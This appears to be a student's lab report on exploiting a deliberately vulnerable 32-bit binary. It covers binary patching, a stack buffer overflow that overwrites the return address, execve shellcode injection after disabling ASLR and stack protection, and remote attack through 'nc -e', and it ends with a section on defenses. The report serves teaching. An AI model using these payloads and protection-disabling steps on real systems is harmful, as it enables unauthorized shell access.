一、实验说明

本次实践的对象是一个名为pwn1的linux可执行文件。

我们在实验之前,首先要将kali虚拟机的主机名修改为自己名字的拼音 hostname xxx ,然后将pwn1修改为pwn学号 cp pwn1 pwn20181318 

该程序的正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

我们通过反汇编可以看出,该程序同时包含另一个代码片段——getShell,它会返回一个可用的Shell。正常情况下,getShell代码段是不会被运行的。我们要想办法让它运行。

二、实验目标

  • 运行原本不可访问的代码片段:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 强行修改程序执行流:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入shellcode并运行这段代码。

三、预习内容

3.1 NOP, JNE, JE, JMP, CMP汇编指令的机器码

汇编指令 机器码 功能
NOP 0x90 空指令,CPU执行到NOP指令时,什么也不做,继续执行NOP后面的一条指令。
JNE 0x75 条件转移指令,如果不相等则跳转。
JE 0x74 条件转移指令,如果相等则跳转。
JMP   无条件转移指令。段内直接短转Jmp short:0xEB;段内直接近转移Jmp near:0xE9;段内间接转移Jmp word:0xFF;段间直接(远)转移Jmp far:0xEA
CMP 0x38-0x3D 比较指令,功能相当于减法指令,只是对操作数之间进行运算比较,不保存结果。

               其他汇编指令所对应的机器码可查看对应表

3.2 反汇编与十六进制编辑器

3.2.1 反汇编指令 objdump

objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section

 objdump -d xxx | more :分页显示反汇编的内容

其他用法可查看linux帮助手册,用 man objdump 查看

3.2.2 十六进制编辑器

vim <filename>: 以ASCII码形式显示可执行文件的内容
:%!xxd: 将显示模式切换为16进制模式
:%!xxd: 将16进制切换回ASCII码模式

也可以使用图形化的编辑工具wxHexEditor

3.3 管道符(|)

利用管道符“|”将两个命令隔开,可以将管道符左边命令的标准输出管道为右边命令的标准输入。

连续使用管道符意味着第一个命令的输出会作为第二个命令的输入,第二个命令的输出又会作为第三个命令的输入,依此类推。

3.4 输入输出重定向

3.4.1  Linux的标准输入与输出

文件描述符 类型 设备 文件
0 标准输入 键盘 stdin
1 标准输出 显示器 stdout
2 标准错误输出 显示器 stderr

3.4.2 输入重定向

将文件作为标准输入设备,即读取文件作为命令的输入

   command < file 将输入重定向到 file。

3.4.3 输出重定向

将文件作为标准输出设备,即将命令的正确输出重定向至文件中

   command > file 将输出重定向到 file。

注意:file中已经存在的内容将被新输出的内容替代。

   command >> file 将输出以追加的方式重定向到 file。

注意:>>不会覆盖原有内容,而是在文件末尾添加新内容。

3.5 ELF文件格式

ELF是一种文件存储格式。Linux下的目标文件和可执行文件都按照该格式进行存储。

ELF文件格式提供了两种视图,分别是链接视图和执行视图。链接视图是以节(section)为单位,是在链接时用到的视图。执行视图是以段(segment)为单位,是在执行时用到的视图。

它由4部分组成,分别是ELF头、程序头表、节/段 和节头表。实际上,一个文件中不一定包含全部内容,而且它们的位置也未必如图所示这样安排,只有ELF头的位置是固定的,其余各部分的位置、大小等信息由ELF头中的各项值来决定。

ELF头(ELF header):描述整个文件的组织。
程序头表(Program header table):描述文件中的各种segments,用来告诉系统如何创建进程映像的。
节(Section)或段(segment):在链接阶段,我们可以忽略program header table来处理此文件,在运行阶段可以忽略section header table来处理此程序。segments与sections是包含的关系,一个segment包含若干个section。
节头表(Section header table):包含了文件各个section的属性信息
 readelf-h xxx.o :查看头信息
 readelf-S xxx.o :显示节头表信息
 readelf-l xxx.o :显示程序头表信息
 readelf-a xxx.o :显示全部信息

其他具体内容可参考ELF文件格式解析

 3.6 大端与小端

大端:高位字节存放在内存的低地址端,低位字节存放在内存的高地址端

小端:高位字节存放在内存的高地址端,低位字节存放在内存的低地址端

例:0x12345678

     
大端 0x12 0x34 0x56 0x78
小端 0x78 0x56 0x34 0x12

本次实验的pwn文件,是小端存储。

3.7 EIP寄存器

EIP寄存器,用来存储CPU要读取指令的地址,CPU通过EIP寄存器读取即将要执行的指令。每次CPU执行完相应的汇编指令之后,EIP寄存器的值就会增加。

3.8 什么是漏洞?漏洞有什么危害?

漏洞,是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,它可以使攻击者在未授权的情况下访问或破坏系统。

危害:(1)软件的正常功能被破坏;

           (2)系统被非法控制和破坏,攻击者恶意传播病毒、蠕虫,破坏系统数据,实施DDos攻击;

      (3)信息泄露,攻击者一旦窃取管理员的身份信息,将会对系统造成巨大的危害,如更改系统权限,发送大量垃圾信息给用户。

四、实验过程

4.1直接修改程序机器指令,改变程序执行流程

4.1.1 对pwn文件进行反汇编 

objdump -d pwn20181318 |more ,找到main函数、foo函数、getshell函数

从图中可以找到,main函数有一条call指令,我们知道call指令相当于执行:①push %eip  ②jump xxx,

此时eip寄存器的值是 0x80484ba 

分析 e8 d7 ff ff ff ,e8是call指令对应的机器码,它的功能是调用foo函数,

所以它会跳转至foo函数的入口 0x8048491 ,而后面的 d7 ff ff ff 又是怎么来的呢?

由预备知识可以知道,此文件是小端存储,计算机内的数据是以补码形式存储的,

 0x848491-0x80484ba=0xffffffd7 ,即目标地址-eip

所以,我们要想跳转至getshell函数,只需要计算目标地址与eip的差值即可。 0x804847d-0x80484ba=0xffffffc3 

将机器码修改为 e8 c3 ff ff ff 即可跳转至getshell。

4.1.2 修改机器码步骤如下:

①vi打开pwn20181318文件,此时是以ASCII码的形式显示

②按esc,输入:%!xxd,将显示模式切换为16进制。

第一列是地址的相对偏移,第二列是对应的16进制,第三列是对应的ASCII码

③输入/e8d7,定位到我们要修改的内容

④将d7修改为c3,修改方法:找到d,按住r(replace),换为c

⑤再将限时模式从16进制转换为原模式

⑥存盘退出 :wq

4.1.3 再次反汇编pwn20181318文件,查看是否修改成功

4.1.4 运行

输入 ./pwn20181318 ,执行getShell,得到shell提示符

再次运行备份文件 ./pwn20181318.bak ,可正常执行foo函数,回显用户输入的字符串

 

4.2 通过构造输入参数,造成BOF攻击,改变程序执行流

首先用备份文件恢复源文件

cp pwn20181318.bak pwn20181318

4.2.1 反汇编,了解程序的基本功能

该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞

从图中我们可以看到,系统只分配了0x1c(28字节)的缓冲区

我们的目标是触发getshell函数,即利用foo函数的bof漏洞,覆盖返回地址为getshell函数的入口地址 0x804847d 

main函数中的call指令执行时,将 eip=0x80484ba 压栈

4.2.2 确认输入字符串哪几个字符会覆盖到返回地址

在执行foo函数时,首先会将ebp压栈,ebp寄存器是32位的(即4字节)

我们猜测应该是字符串的第33-36位覆盖返回地址,因为 28+4(ebp)=32 

接下来,利用gdb调试,对猜想进行验证

① gdb pwn20181318 进入gdb

②输入r,运行程序。此时我输入字符串:1111111122222222333333334444444412345678

③输入 info r ,查看寄存器的值

由图可得,eip寄存器的返回地址被覆盖为0x34333231,即我们输入的1234(33-36位)

cpu会跳转至这个位置继续执行代码,但是这个位置没有东西可以执行,所以产生Segmentation fault——段错误。

我们只需要将这四个字符改为getshell的地址,即可使程序跳转执行getshell.

4.2.3 确认用什么值来覆盖返回地址

getshell的地址为 0x804847d ,由于是小端存储,我们需要输入的字符串应该是

 11111111222222223333333344444444\x7d\x84\x04\x08 

4.2.4 构造输入字符串

因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以我们需要先生成一个包括这样字符串的文件。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

将perl生成的字符串重定向至input文件中。

如果不使用输出重定向,生成的字符串会直接显示在屏幕上。

注意:之所以要用0x0a(回车)结束,是因为如果没有的话,相当于只是输入字符串,但是终端并不知道已经接收完毕,也就不会继续向下执行,除非手动按回车。

 xxd input :用16进制查看input文件的内容是否如预期。

4.2.5 运行

将input的内容显示出来,通过管道符“|”,作为pwn20181318的输入

(cat input; cat) | ./pwn20181318

 4.3 注入Shellcode并执行

核心:找到shellcode的地址

4.3.1 使用准备好的shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4.3.2 准备工作

因为要对堆栈进行相关设置,所以首先要下载安装perlink

execstack -s pwn20181318    //设置堆栈可执行
execstack -q pwn20181318    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询地址随机化是否开启,显示2则表示目前是开启状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化,需要使用sudo权限
more /proc/sys/kernel/randomize_va_space //再次查询地址随机化是否开启,显示0则表示目前是关闭状态

4.3.3 构造要注入的payload

Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr。

因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

通常情况下,缓冲区小就把shellcode放后边(高地址),缓冲区大就把shellcode放前边(低地址)。

Nop:空指令,CPU执行到NOP指令时,什么也不做,继续执行NOP后面的一条指令。它的作用是:填充和滑行。

只要我们猜测的返回地址落在任何一个nop上,它自然会滑到我们的shellcode去执行。

我们的缓冲区的大小是28个字节,这个缓冲区够放本实验的shellcode了,所以我们选用 nops+shellcode+retaddr 结构。

(1)利用perl构造字符串

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

由4.2可知,我们需要覆盖的返回地址是33-36位,即\x4\x3\x2\x1,我们需要将其修改为shellcode的地址。

注意:不能以\x0a结束,因为后面我们要利用gdb调试来确定shellcode的地址,所以需要将程序停下来设置断点,如果以回车结束,程序就会自动执行完毕,后续的操作也就无法进行。

(2)接下来,我们就来确定shellcode的地址。

打开一个终端1,输入 (cat input_shellcode;cat) | ./pwn20181318 进行攻击

从图中我们可以看到,进程并没有回显出input_shellcode的内容,可以证明程序停了下来。

再开另外一个终端2,用gdb来调试pwn20181318这个进程。

① ps -ef | grep pwn20181318 :找到进程号

启动gdb调试这个进程。 attach 进程号 

③反汇编foo函数 disassemble foo ,找合适的位置设置断点

在红色方框圈住的位置设置断点,因为此时注入的code已经在堆栈上了,ret指令一执行,就会跳转至覆盖retaddr的那个位置。

 break *0x080484ae 设置断点。

④在终端1中按下回车,在终端2中输入c,继续运行程序。

⑤ info r esp 查看esp寄存器的值

 x/16x 0xffffd11c 以16进制显示从0xffffd11c开始的16个数据

由图可知,0x909031c0的地址为0xffffd100,这就是我们shellcode的地址。

由图可知,程序的返回地址占位也是正确的,退出gdb即可。

(3)我们就将返回地址覆盖为0xffffd100

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd1\xff\xff\x00"' > input_shellcode

 (cat input_shellcode;cat) | ./pwn20181318 ,重新运行程序,发现失败。

(4)启动gdb进行调试,查找错误(过程与上面类似)

我们发现,esp和eip的值都是正确的。

缓冲区看起来也是正确的

我们接下来进行单步调试,si是step instruction的简写,表示单步运行

我们发现,在执行第十个si的时候发生了段错误,也就代表在执行完第9个si的时候导致错误的出现

我分析,错误的原因应该是在执行的时候函数栈增长覆盖了原有的指令。

(5)所以,我们调整结构为 anything+retaddr+nops+shellcode 

由图可知,shellcode紧挨着0x04030201,所以shellcode的地址是 0xffffd11c+4=0xffffd120 

perl -e 'print "A" x 32;print "\x20\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 xxd input_shellcode 以16进制查看input_shellcode的内容

运行程序,成功执行shellcode。

4.4 结合nc模拟远程攻击

 4.4.1 在同一台主机上进行

主机1,模拟一个有漏洞的网络服务:

nc -l 127.0.0.1 -p 28234  -e ./pwn1

-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入

主机2,连接主机1并发送攻击载荷:

(cat input; cat) | nc 127.0.0.1 28234

4.4.2 模拟两台主机的远程控制

 ifconfig 查询主机1的ip地址为192.168.174.129

主机1:nc -l -p 28234  -e ./pwn1
参考课题负责人的博客,隐去ip地址,能够避免主机存在多个IP地址,发送存在限制的问题。
主机2:(cat input_shellcode; cat) | nc 192.168.174.129 28234

4.4.3 存在的问题

一般是高版本gcc编译后低版本运行会出现此错误,或者是代码内出现逻辑错误。

解决:将input_shellcode替换为input即可正常运行。

两台主机可以相互ping通,但是显示无法连接。

解决:隐去ip地址,直接输入nc -l -p 28234 -e ./pwn1

五、缓冲区溢出攻击防护技术

1. 防止注入的角度——GCC 中的编译器堆栈保护技术(Canaries检测)

在编译时,编译器每次函数调用前都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。

常见的canary word:随机数、特殊字符串(Null、CR、LF)、随机数与控制信息、返回地址异或得到的

  • -fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码。
  • -fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
  • -fno-stack-protector:禁用堆栈保护。

2. 注入入了也不让运行

结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。

  • excstack -c pwn1     把堆栈设置为不可执行
  • execstack -q pwn1   查询堆栈状态

3. 增加shellcode的构造难度

当我们要注入shellcode进行攻击时,我们要猜测shellcode的地址,我们此次的实验为了降低难度,关闭了地址随机化,这样应用的代码段、堆栈段每次都被OS放置到固定的内存地址。

ALSR(地址随机化):就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

/proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。 1 - 表示将mmap的基址,stack和vdso页面随机化。 2 - 表示在1的基础上增加栈(heap)的随机化。

4.管理角度

加强编码质量。注意边界检测。使用最新的安全的库函数。

六、实验感想

之前很多课也都了解过缓冲区溢出的相关内容,但是并没有真正的把原理搞懂,尤其是栈的增长方向和缓冲区的增长方向,不明白为什么会把返回地址覆盖了。通过这次实验,让我对函数调用与堆栈有了更加清楚的认识。栈的增长是从高地址——>低地址,而缓冲区的填充是从低地址——>高地址。函数调用时,会为其建立相应的栈帧(栈顶指针esp与栈底指针ebp之间的内存区);调用结束时,释放内存空间。

同时,我也学明白了一些汇编指令与其对应的机器码,对寄存器也有了更加明确的认识,知道了esp、eip这些都是32位的寄存器,rsp、rip是64位的。call指令相当于执行了①push %eip ②jump xxx两条指令,与其对应的leave指令相当于执行了①mov %ebp %esp  ②pop %ebp。本次实验用到次数最多的就是objdump反汇编指令,我们还可以在gdb中用disassemble xxx 进行反汇编。

这三个小实验中,最难的就是第三个,视频看了一遍又一遍,就是有些东西不是很理解,比如说刚开始就是不理解为什么nsr这种结构不成功,为什么找shellcode的地址要借用esp寄存器。经过与同学们的交流,这些问题也都还是解决了。最后又把实验从头到尾做了一遍,感觉还是挺不错的。之后的几次实验我会更加努力,看视频有不懂的问题就及时在蓝墨云中提问,真正把实验的重难点给搞明白!

posted on 2021-03-14 16:58  danceJJ  阅读(225)  评论(0编辑  收藏  举报